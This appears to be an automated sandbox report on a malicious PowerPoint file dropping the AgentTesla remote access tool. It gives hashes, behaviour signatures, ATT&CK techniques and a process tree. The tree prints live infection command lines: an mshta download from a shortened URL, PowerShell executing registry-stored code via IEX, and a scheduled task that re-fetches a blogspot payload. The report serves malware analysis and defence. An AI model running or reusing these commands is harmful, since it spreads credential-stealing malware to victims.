Resubmissions

25-02-2021 00:21

210225-efba8ycx12 10

Analysis

  • max time kernel
    151s
  • max time network
    146s
  • platform
    windows7_x64
  • resource
    win7v20201028
  • submitted
    25-02-2021 00:21

General

  • Target

    DOC.ppt

  • Size

    141KB

  • MD5

    53f09cdb89620ee0d02c006d5bdf758f

  • SHA1

    caf1ff6f5563d23eac7c547f2309c0608ae3029f

  • SHA256

    a9194b2dc593c73598cc95b3b1aad400910f48225e527dc61159300be44651ca

  • SHA512

    60374ee268f24ce193c860caf5ccf779a94388f44923bf2ecd5ba3273dfe937c4d8f960cdd906f56eccd39a81623636a2b07c22f116de8f1ee48cbe5f89b8a94

Malware Config

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • Process spawned unexpected child process 2 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • AgentTesla Payload 3 IoCs
  • Blocklisted process makes network request 17 IoCs
  • Drops file in Drivers directory 1 IoCs
  • Adds Run key to start application 2 TTPs 6 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Kills process with taskkill 2 IoCs
  • Modifies Internet Explorer settings 1 TTPs 10 IoCs
  • Modifies registry class 64 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 45 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\DOC.ppt"
    1⤵
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of WriteProcessMemory
    PID:1052
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1244
      • C:\Windows\SysWOW64\mSHtA.exe
        mSHtA http://12384928198391823%12384928198391823@j.mp/akawdowdkwoapdlwnduhand
        2⤵
        • Process spawned unexpected child process
        • Blocklisted process makes network request
        • Adds Run key to start application
        • Modifies Internet Explorer settings
        • Suspicious use of WriteProcessMemory
        PID:1496
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit ((gp HKCU:\Software).cutona)|IEX
          3⤵
          • Blocklisted process makes network request
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1620
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
            4⤵
            • Drops file in Drivers directory
            • Suspicious behavior: EnumeratesProcesses
            PID:1288
        • C:\Windows\SysWOW64\schtasks.exe
          "C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 80 /tn ""tutipajikhana"" /F /tr ""\""mshta\""vbscript:Execute("\"CreateObject(""\""Wscript.Shell""\"").Run ""\""mshta http://1230948%1230948@mylundisfarbigthenyouthink.blogspot.com/p/266.html""\"", 0 : window.close"\")
          3⤵
          • Creates scheduled task(s)
          PID:952
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit ((gp HKCU:\Software).btfee)|IEX
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1580
        • C:\Windows\SysWOW64\taskkill.exe
          "C:\Windows\System32\taskkill.exe" /f /im Excel.exe
          3⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:1160
        • C:\Windows\SysWOW64\taskkill.exe
          "C:\Windows\System32\taskkill.exe" /f /im winword.exe
          3⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:1352
      • C:\Windows\SysWOW64\ping.exe
        ping
        2⤵
        • Process spawned unexpected child process
        • Runs ping.exe
        PID:968
      • C:\Program Files (x86)\Microsoft Office\Office14\winword.exe
        winword
        2⤵
        • Drops file in Windows directory
        • Suspicious use of SetWindowsHookEx
        PID:812

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Execution

    Scheduled Task

    1
    T1053

    Persistence

    Registry Run Keys / Startup Folder

    1
    T1060

    Scheduled Task

    1
    T1053

    Privilege Escalation

    Scheduled Task

    1
    T1053

    Defense Evasion

    Modify Registry

    2
    T1112

    Discovery

    System Information Discovery

    1
    T1082

    Remote System Discovery

    1
    T1018

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
      MD5

      8442096a62522e0202794ff10e903a07

      SHA1

      f9ab6f70135e60090a01f7d0c0429ded5669594a

      SHA256

      6e44f70650d329d34e60693d2dd3602d99d3bc48c2c2474a41a6f642f813ff42

      SHA512

      aad365fc2f8d7bf7d34eb2330688769d656fc57604452b5fccc2af88deabb82982abd4275a670d8b5649fddcc8ecebd5f77d583a6370c3e8daf0dd67fa9149ca

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_03bfaf74-c48a-406b-812c-2684df821d22
      MD5

      597009ea0430a463753e0f5b1d1a249e

      SHA1

      4e38b8bb65ecbd5c9f0d3d8c47f7caba33de6c62

      SHA256

      3fd2a8217a845c43dbc0dc206c28be81d2687aa9ba62019d905aef10cfaec45d

      SHA512

      5d722fa908e64575b2497c60d142e182011a10c6ed33813b3b4796b3147ece1bc96938518b4c8911a1bac3b7560528ebe3e8e754c11015516d335df5d7c6871d

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_1b0b2f5a-4fa9-4284-9780-9a1da7b14a47
      MD5

      02ff38ac870de39782aeee04d7b48231

      SHA1

      0390d39fa216c9b0ecdb38238304e518fb2b5095

      SHA256

      fbd66a9baf753db31b8de23f2d51b67f8676687503653103080c45b16f1dc876

      SHA512

      24a1ff76ee42ff7a5ea42843928c4df07b06178f7781cd840e1e086e88735d81506eb67259ff1e6ce5aaa7c5baea03886da265eb7e025ff4dc4c4b5f8cd3e341

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_85c7c16f-de6b-4cda-bf8a-ede9c5910d3d
      MD5

      df44874327d79bd75e4264cb8dc01811

      SHA1

      1396b06debed65ea93c24998d244edebd3c0209d

      SHA256

      55de642c5c9e436ec01c57004dae797022442c3245daf7162d19a5585f221181

      SHA512

      95dc9298b8db059bbe746f67e6a7f8515781c7053cc60c01532e47623a996be7e1bd23d1bd8f5f2045adff27454f44930d503c15b695690088841cedbd2a06c3

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_a02197da-f9c8-43e6-9ff1-846e01d2d404
      MD5

      75a8da7754349b38d64c87c938545b1b

      SHA1

      5c28c257d51f1c1587e29164cc03ea880c21b417

      SHA256

      bf08151c174b5d00c9dbc7907b2c6a01b4be76bfa3afce1e8bd98a04ad833c96

      SHA512

      798797bc74c56c874e9a5fdcb0157c04e37a1b3cce285ef064b01bceef8cec45f11a5198918c6c647220b62883606b5e12e3cca3ea369f3a66e69dea6e15f643

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_b771b377-145f-49e9-bf64-45e69646f7b9
      MD5

      5e3c7184a75d42dda1a83606a45001d8

      SHA1

      94ca15637721d88f30eb4b6220b805c5be0360ed

      SHA256

      8278033a65d1ff48be4d86e11f87930d187692f59f8bf2f0a9d170de285afb59

      SHA512

      fae99b6e9b106e0f1c30aa4082b25ae1ad643455c1295c2c16ad534e3e611b9b08492353ffe1af1cfdddc9b2b7c330747a64012c45e62b8f4a4982dcc214e05b

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_c356f451-13b2-41fc-8d4c-54a293efa6e1
      MD5

      b6d38f250ccc9003dd70efd3b778117f

      SHA1

      d5a17c02cac698d4f0a4a9b7d71db2aa19e3f18a

      SHA256

      4de9d7b5ccab7b67ca8efc83084c7ee6e5e872b7216ed4683bc5da950bf41265

      SHA512

      67d8195836b7f280d3f9219fd0f58276342e55d5dfdd8a4c54355030d96685d73f1b2b6da0eb39322ec7c3a1d1c5ef06b52d22646cea30a96f822de1800d31e9

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_ce569c42-07bf-442e-b377-8e9695c9383c
      MD5

      be4d72095faf84233ac17b94744f7084

      SHA1

      cc78ce5b9c57573bd214a8f423ee622b00ebb1ec

      SHA256

      b0d72c5c22e57913476ac8fc686a4593f137c6667d5094522c0a0685dabd7adc

      SHA512

      43856e9b1032b8690ceea810c931bed3655e9190414bb220fb6afc136f31b8335e07604dffb28405d4006f266a54cff424c527d29924b1b732c9647a3252b097

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_dadf780e-0f00-49bb-86e1-35585efd8a97
      MD5

      a725bb9fafcf91f3c6b7861a2bde6db2

      SHA1

      8bb5b83f3cc37ff1e5ea4f02acae38e72364c114

      SHA256

      51651f27f54c7261887037aa1de4eff0a26c6807906dfc34a15cd5a0b58a8431

      SHA512

      1c4b21dd5660bfec8347257bb3da64681b0a97c427790d9ab3484f687dac032bcff0e07876635953697b00cf83e7d37f97c44e0219627fd0533f60ed3024b97e

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
      MD5

      7ca9d61d36cca4a8efc107c6f001f238

      SHA1

      b4558f9723d3ea297c1b2c2a38d65357c99b963a

      SHA256

      12b5ed6ba7aa3c4a44b03c6783f04a155fb19028f5bc887f4219de7144826244

      SHA512

      30ce0ffa5bb5ee851c5d19a86723ed9badd71641ccbb46cf0e9bfc2576615c6659986b48c861aee81503c3e0ee3d74a19f3e7f8185eafd190df6cac1848a28bb

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
      MD5

      4ff545cd64a54e4648a4cb75e19eac25

      SHA1

      96975dd1d8c1de33a1a07d38b87dd56a0c78e87f

      SHA256

      3247b57b1ebc4480aec20c3aaea544057f69b871ba4968dbc14d357fdfa0a7de

      SHA512

      13ef74cb7113e8bd4481b2f47ae4d66f590c6563612bd35e101c5bdd236e160586e915e0e85413af61abfb4c4f23ba063b7f9d1f9a5bce7192d1763c30a3fcd4

    • memory/784-9-0x000007FEF7FE0000-0x000007FEF825A000-memory.dmp
      Filesize

      2.5MB

    • memory/812-12-0x0000000069371000-0x0000000069374000-memory.dmp
      Filesize

      12KB

    • memory/812-11-0x0000000000000000-mapping.dmp
    • memory/952-16-0x0000000000000000-mapping.dmp
    • memory/968-10-0x0000000000000000-mapping.dmp
    • memory/1052-2-0x0000000074311000-0x0000000074315000-memory.dmp
      Filesize

      16KB

    • memory/1052-4-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/1052-3-0x00000000719D1000-0x00000000719D3000-memory.dmp
      Filesize

      8KB

    • memory/1160-19-0x0000000000000000-mapping.dmp
    • memory/1244-5-0x0000000000000000-mapping.dmp
    • memory/1244-6-0x000007FEFC1D1000-0x000007FEFC1D3000-memory.dmp
      Filesize

      8KB

    • memory/1288-87-0x00000000004382DE-mapping.dmp
    • memory/1288-91-0x0000000000DC0000-0x0000000000DC1000-memory.dmp
      Filesize

      4KB

    • memory/1288-89-0x0000000000400000-0x000000000043E000-memory.dmp
      Filesize

      248KB

    • memory/1288-86-0x0000000000400000-0x000000000043E000-memory.dmp
      Filesize

      248KB

    • memory/1288-88-0x000000006BB20000-0x000000006C20E000-memory.dmp
      Filesize

      6.9MB

    • memory/1352-21-0x0000000000000000-mapping.dmp
    • memory/1496-8-0x00000000760F1000-0x00000000760F3000-memory.dmp
      Filesize

      8KB

    • memory/1496-7-0x0000000000000000-mapping.dmp
    • memory/1580-34-0x0000000002790000-0x0000000002791000-memory.dmp
      Filesize

      4KB

    • memory/1580-31-0x00000000026F2000-0x00000000026F3000-memory.dmp
      Filesize

      4KB

    • memory/1580-82-0x00000000066A0000-0x00000000066A1000-memory.dmp
      Filesize

      4KB

    • memory/1580-81-0x0000000006650000-0x0000000006651000-memory.dmp
      Filesize

      4KB

    • memory/1580-66-0x00000000063F0000-0x00000000063F1000-memory.dmp
      Filesize

      4KB

    • memory/1580-22-0x000000006BB20000-0x000000006C20E000-memory.dmp
      Filesize

      6.9MB

    • memory/1580-18-0x0000000000000000-mapping.dmp
    • memory/1580-29-0x00000000026F0000-0x00000000026F1000-memory.dmp
      Filesize

      4KB

    • memory/1620-44-0x0000000005890000-0x0000000005891000-memory.dmp
      Filesize

      4KB

    • memory/1620-61-0x000000007EF30000-0x000000007EF31000-memory.dmp
      Filesize

      4KB

    • memory/1620-60-0x0000000006430000-0x0000000006431000-memory.dmp
      Filesize

      4KB

    • memory/1620-15-0x0000000000000000-mapping.dmp
    • memory/1620-23-0x000000006BB20000-0x000000006C20E000-memory.dmp
      Filesize

      6.9MB

    • memory/1620-24-0x0000000002440000-0x0000000002441000-memory.dmp
      Filesize

      4KB

    • memory/1620-26-0x0000000004720000-0x0000000004721000-memory.dmp
      Filesize

      4KB

    • memory/1620-51-0x00000000059F0000-0x00000000059F1000-memory.dmp
      Filesize

      4KB

    • memory/1620-85-0x0000000000920000-0x0000000000933000-memory.dmp
      Filesize

      76KB

    • memory/1620-30-0x0000000002592000-0x0000000002593000-memory.dmp
      Filesize

      4KB

    • memory/1620-43-0x0000000005830000-0x0000000005831000-memory.dmp
      Filesize

      4KB

    • memory/1620-38-0x00000000057E0000-0x00000000057E1000-memory.dmp
      Filesize

      4KB

    • memory/1620-33-0x0000000002560000-0x0000000002561000-memory.dmp
      Filesize

      4KB

    • memory/1620-28-0x0000000002590000-0x0000000002591000-memory.dmp
      Filesize

      4KB